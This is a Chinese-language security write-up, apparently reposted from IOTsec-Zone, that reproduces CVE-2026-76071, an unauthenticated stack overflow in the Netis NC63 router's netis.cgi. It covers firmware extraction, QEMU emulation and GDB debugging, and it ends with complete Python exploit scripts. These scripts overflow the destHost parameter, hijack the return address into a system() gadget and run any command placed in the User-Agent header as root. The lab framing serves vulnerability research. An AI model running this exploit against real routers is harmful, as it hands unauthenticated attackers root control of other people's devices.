Netis NC63(CVE-2026-76071)未认证栈缓冲区溢出漏洞复现 - IOTsec-Zone
1、CVE官网漏洞描述编号:CVE-2026-76071标题:Netis NC63 V3.0.0.3327 中的堆栈缓冲区溢出问题,由 destHost 参数引起描述:通过 V3.0.0.332 2026-9-21 02:51:7 Author: www.iotsec-zone.com(查看原文) 阅读量:0 收藏

1、CVE官网漏洞描述

编号:CVE-2026-76071
标题:Netis NC63 V3.0.0.3327 中的堆栈缓冲区溢出问题,由 destHost 参数引起
描述:通过 V3.0.0.3327 版本更新的 Netis NC63 固件存在基于堆栈的缓冲区溢出漏洞。该漏洞使得未经认证的远程攻击者可通过向 netis.cgi 中的 ipFilterList=mod 操作提供过大的 destHost 参数,从而覆盖保存的堆栈状态。攻击者可以利用无限制的 sscanf 函数进行攻击,将用户提供的输入复制到固定大小的堆栈缓冲区中,从而在认证验证之前执行恶意代码。最终,攻击者可以以 root 用户的权限实现远程代码执行,因为 Boa Web 服务器以 root 权限运行CGI 环境。

固件下载地址:https://www.netis-systems.com/support/downinfo.html?id=35

2、提取文件系统

分析固件

binwalk netis_NC63_V3.0.0.3327.bin

image-20260912013201967.png

提取文件系统

binwalk -Me netis_NC63_V3.0.0.3327.bin

image-20260912014110857.png

unsquashfs -d rootfs 25A822.squashfs

image-20260916180641889.png

2、信息收集

识别架构

checksec --file=./bin/busybox

image-20260912014444025.png

可以发现是MIPS32位小端架构,Got表可以写,没有栈溢出保护,栈可以执行,没有开启地址随机化。

3、分析启动项

查看inittab文件

/etc/inittab 是 Linux 传统 init 系统的启动配置文件,可以理解为系统开机后的“启动流程调度表”。

所以我们首先查看目录 /squashfs-root/etc/下的inittab文件

image-20260912155438943.png

Boot-time system configuration/initialization script.//说明这是系统启动时的配置/初始化脚本
::sysinit:/etc/init.d/rcS  //系统初始化阶段:开机首先执行 /etc/init.d/rcS 脚本,用于启动网络、Web服务等核心服务

查看rcS脚本

cat etc/init.d/rcS

image-20260916181119338.png

前面的所有代码都在做准备工作(自检与恢复),这里是系统服务的入口 /bin/script/startup.s

& 代表后台运行,rcS 脚本直接退出,剩下所有初始化都在 startup.sh脚本。

查看startup.sh脚本

cat bin/script/startup.sh

image-20260916182455525.png

看到报错,我们去这个目录下看一下这个脚本的文件详细属性

使用命令

ls -l bin/script/startup.sh

image-20260916182738291.png
startup.sh 并不是一个独立文件,它只是一个快捷方式。这个快捷方式指向的文件,是固件系统内的绝对路径 /bin/script/cscripts,进下来我们去分析这个文件。

IDA分析cscripts文件

通过搜索相关web服务的字符串,例如httpd Boa Lighttpd GoAhead等

image-20260912174606535.png

RunSystemCmd("boa&"):可以发现这个设备启动后运行了Boa Web 服务。

接下来我们去分析boa服务相关文件。

分析boa服务

grep -r boa

image-20260916184710567.png

gedit etc/boa/boa.conf

image-20260916185759308.png

image-20260916190323822.png

image-20260916185402506.png

这个 Boa 服务器网页放在 /web,CGI 脚本能调用 /bin 等目录程序,并且整体以 root 权限跑

4、系统模拟

qemu系统模拟

qemu-system-mipsel \
    -M malta \
    -cpu 74Kf \
    -kernel /home/iotsec-zone/Desktop/Tools/qemu-images/mipsel/vmlinux-3.2.0-4-4kc-malta \
    -hda /home/iotsec-zone/Desktop/Tools/qemu-images/mipsel/debian_wheezy_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=ttyS0" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no \
    -nographic

配置网络

#宿主机 sudo tunctl -t tap0 -u `whoami` 
sudo ifconfig tap0 192.168.10.1/24 up 
#虚拟机 
ip link add br0 type dummy 
ifconfig eth0 192.168.10.2/24 
ifconfig br0 192.168.10.3/24

image-20260914001027668.png

文件传输

#宿主机

tar -cvf web.tar.gz rootfs/
python -m http.server 

#虚拟机

wget http://192.168.10.1:8000/web.tar.gz 
tar -xvf web.tar.gz

image-20260914002727733.png

文件挂载/各项配置

#挂载虚拟文件系统
cd rootfs/
mount --bind /proc/ proc/
mount --bind /sys/ sys/
mount -t tmpfs tmpfs dev
mknod -m 666 dev/null   c 1 3
mknod -m 666 dev/zero   c 1 5
mknod -m 666 dev/urandom c 1 9
mknod -m 666 dev/random c 1 8
mknod -m 666 dev/tty     c 5 0
mknod -m 666 dev/console c 5 1
chroot . sh

#解压网站文件
mkdir -p /var/web
tar -xzf home/web.tar.gz -C /var

#补充运行目录
mkdir /var/tmp
mkdir /var/web
mkdir /var/log
mkdir /var/run
mkdir /var/lock
mkdir /var/system
mkdir /var/dnrd
mkdir /var/lib
mkdir /var/lib/misc
mkdir /var/home
mkdir /var/root

#补充root用户
echo 'root::0:0:root:/:/bin/sh' > /var/passwd
echo 'nobody:x:0:0:nobody:/:/dev/null' >> /var/passwd
echo 'root:x:0:' > /var/group
chmod 755 /var/passwd /var/group

启动boa服务并验证

chroot . sh
./bin/boa

image-20260914021152856.png

打开192.168.10.3,可以看到模拟成功。

5、分析漏洞点

分析情报

漏洞在Boa内置虚拟路由netis.cgi,ipFilterList=mod这个操作分支里

find . -name "netis.cgi"

image-20260916192129808.png

抓包请求验证

我们尝试使用 BurpSuite 抓取访问路由器 Web 管理后台的流量,以确定漏洞请求哪个 CGI 路径以及携带哪些参数,从而定位认证前可触发的 CGI 攻击面。

image-20260913150923068.png

strings ./bin/netis.cgi | grep skk_get.cgi

image-20260916193454334.png
说明skk_get.cgi存在于netis.cgi中,也会被netis.cgi调用。

分析netis.cig

搜索相关的cgi字符串

最终通过main --> sub_405244 --> sub_405300 --> &off_434080 拿到路由表

image-20260913152535221.png

skk_set.cgi→0x4138A0

接下来打开这个函数

image-20260913160113396.png

这个函数是 skk_set 相关 CGI 的顶层结果处理/分发函数,负责调用底层配置写入逻辑,并根据返回码 做不同的后续动作(更新配置、重启、输出 JSON 响应)。

状态码包装 0/126→["SUCCESS"],127→reboot,129→["LOCK"],其他→["%d"]

打开sub_4134C8函数

image-20260913161958443.png

image-20260916194701661.png

最终到达危险函数 sub_40F7F4

image-20260916194848261.png

image-20260916194947745.png

分析溢出点

sscanf(v16, "%d,%[^,],%[^,]", &v24, v28, v29);

漏洞点:sscanf:从指定的字符串(比如 HTTP 请求参数)中读取数据。

  1. v16:用户可控的输入
  2. %[^,]:读到逗号才停,不限制长度
  3. v28、v29 是栈上固定大小缓冲区,只有16字节
  4. 输入不带逗号、内容超长 → 直接写爆缓冲区,栈溢出
总结:sscanf 用 %[^,] 读用户输入,没限制长度,长数据直接把栈缓冲区撑爆,对v29数据实行溢出覆盖,继续覆盖栈上的其他变量,直到淹没保存的 $RA(函数返回地址)。

栈图

--低地址--

v28[16]      ←  第二段

 v29[16]     ← 第三段

  ...其他栈变量...

保存的 $fp   

保存的 $ra    

--高地址--

6、动调测试漏洞

清锁

image-20260916195843171.png

厂商本意:配置写入是危险操作,用锁文件防止多个请求同时写。

副作用:我们调试时每崩溃一次,锁可能就残留一次;

所以每测一轮都要:

rm -rf /tmp/lock_all.lock

开始调试

ssh连接虚拟机

ssh [email protected]

首先查看一下boa的进程

ps -aux

image-20260915103302734.png

可以看到boa的进程是2461

/root/gdbserver7 :9999 --attach 2461

image-20260915103510123.png

使用pwndbg进行动调

pwndbg-mips ./netis.cgi

接下来输入

set follow-fork-mode child   // boa每收到一个请求就fork一个子进程,让gdb跟进子进程
set detach-on-fork off      //set detach-on-fork off跟进子进程时别把boa父进程扔了
catch exec //子进程exec成netis.cgi的那一瞬间停下来
target remote 192.168.10.3:9999 //连上 gdbserver

image-20260915104559115.png

成功进入调试界面

接下来按c,被暂停的 boa 继续跑,开始等请求

我们发送编写的exp脚本,exp中用150 字节特殊字符串来测栈溢出,找到从哪一字节开始覆盖返回地址。

import requests

url = "http://192.168.10.3/cgi-bin/skk_set.cgi"
component = (
    b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaata"
    b"aauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma"
)
post = {
    "ipFilterList": "mod",
    "id": "1",
    "destHost": f"1,0.0.0.0,{component.decode()}",
    "proto": "0",
    "port": "1-1",
    "day": "1",
    "time": "all",
}
res = requests.post(url, data=post, timeout=2)

发送完攻击脚本接着按c 可以发现程序崩溃了

image-20260915104855800.png

image-20260915111736652.png

说明了缓冲区距离覆盖$RA的偏移量是 112字节,覆盖$fp的偏移量就是108字节。

7、构造rce

关掉 ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

作用 :把内核的地址随机化功能关掉,让程序每次启动时栈、堆、库的内存地址都固定在同一个位置。

image-20260915130739849.png

注意:$ra和$fp是可控的,但是直接跳system不可行,因为$a0不是我们用户可控的,所以我们在这个netis.cgi文件里面搜索system交叉引用来构造ROP。

搜索system函数交叉引用查看调用者

image-20260915130442729.png

image-20260915130502764.png

找到一块合适的gadget

这里t8 = fp + 0xA0,a0 = t8 其中a0也就是system 的第一个参数,最后又调用system函数。

其实整体也就是 system($fp + 0xA0)这个命令。

所以我们如果把ra填 0x0040BB04就能跳到这个指令的地方,然后$fp+0xA0处写上我们想要执行的命令字符串的地址。

也就是fp处写:命令字符串地址-0xA0

寻找合适的字符串地址

我们需要一块内存满足两个条件: 1. 内容可控; 2. 地址可知

通过学习我们了解到

image-20260916203039139.png
那我们就开始动调 查看一下User-Agent这个地址 以及最终如何构造最终的exp,也就是搜到 HTTP_USER_AGENT 的地址。

我们启动boa服务,然后开pwndbg进行调试和之前一样

并准备一个探测包

import requests, sys

HOST = '192.168.10.3'
URL = 'http://%s/cgi-bin/skk_set.cgi' % HOST

user_cmd = sys.argv[1] if len(sys.argv) > 1 else 'echo "get_shell">/cmd.txt'
cmd = user_cmd.rstrip(';') + ';rm -f /tmp/lock_all.lock;'
assert len(cmd) <= 96, 'cmd too long (max 96), current=%d' % len(cmd)
ua = cmd + '#' * (96 - len(cmd))

FP = sys.argv[2] if len(sys.argv) > 2 else '%42%42%42%42'   # 占位符 BBBB
body = ('ipFilterList=mod&id=1&destHost=1,0.0.0.0,'
        + 'A' * 108 + FP + '%04%BB%40').encode()

sess = requests.Session()
sess.headers.clear()
sess.headers.update({'User-Agent': ua,
                     'Content-Type': 'application/x-www-form-urlencoded'})
try:
    r = sess.post(URL, data=body, timeout=30)
    print('[*] resp:', r.status_code, repr(r.text[:60]))
except requests.exceptions.RequestException as e:
    print('[*] exc:', type(e).__name__)

按c

接着发包

telescope $sp 20

image-20260916212125669.png

HTTP_USER_AGENT= 字符串地址 = 0x7fff6e70

这个是16个字节,所以命令地址在 +16 处: 命令第一个字节地址 = 0x7fff6e70 + 16 = 0x7fff6e80
$fp = 命令地址 − 0xA0: 0x7fff6e80− 0xA0 = 0x7fff6de0

$fp = 0x7fff6de0  →  小端 4 字节: 0x7fff6de0  ->  e0 6d ff 7f →  写成: '%E0%6D%FF%7F'
$ra = 0x40BB04    →  写 '%04%BB%40'

构造exp

#!/usr/bin/env python3
# CVE-2026-76071 exp
import requests, sys, subprocess

HOST = '192.168.10.3'
URL = 'http://%s/cgi-bin/skk_set.cgi' % HOST

user_cmd = sys.argv[1] if len(sys.argv) > 1 else 'echo "get_shell">/cmd.txt'
cmd = user_cmd.rstrip(';') + ';rm -f /tmp/lock_all.lock;'
assert len(cmd) <= 96, 'cmd too long (max 96), current=%d' % len(cmd)

ua = cmd + '#' * (96 - len(cmd))

body = ('ipFilterList=mod&id=1&destHost=1,0.0.0.0,'
        + 'A' * 108 + '%E0%6D%FF%7F' + '%04%BB%40').encode()

sess = requests.Session()
sess.headers.clear()
sess.headers.update({
    'User-Agent': ua,
    'Content-Type': 'application/x-www-form-urlencoded'
})

try:
    r = sess.post(URL, data=body, timeout=30)
    print('[*] resp:', r.status_code, repr(r.text[:60]))
except requests.exceptions.RequestException as e:
    pass

UA恒96字节就是把 User-Agent 的总长度钉死,让栈顶布局固定。命令短了就用#补齐,命令长了直接assert拒绝。这样无论你执行什么命令,栈顶布局永远不变,且都能执行成功。

不传参数 → 默认命令→ echo "get_shell">/cmd.txt
python nn.py
想执行别的命令 → 直接作为第一个参数传入
python nn.py 'echo "get">/shell.txt'

image-20260916213507022.png

复现成功。


文章来源: https://www.iotsec-zone.com/article/561
如有侵权请联系:admin#unsafe.sh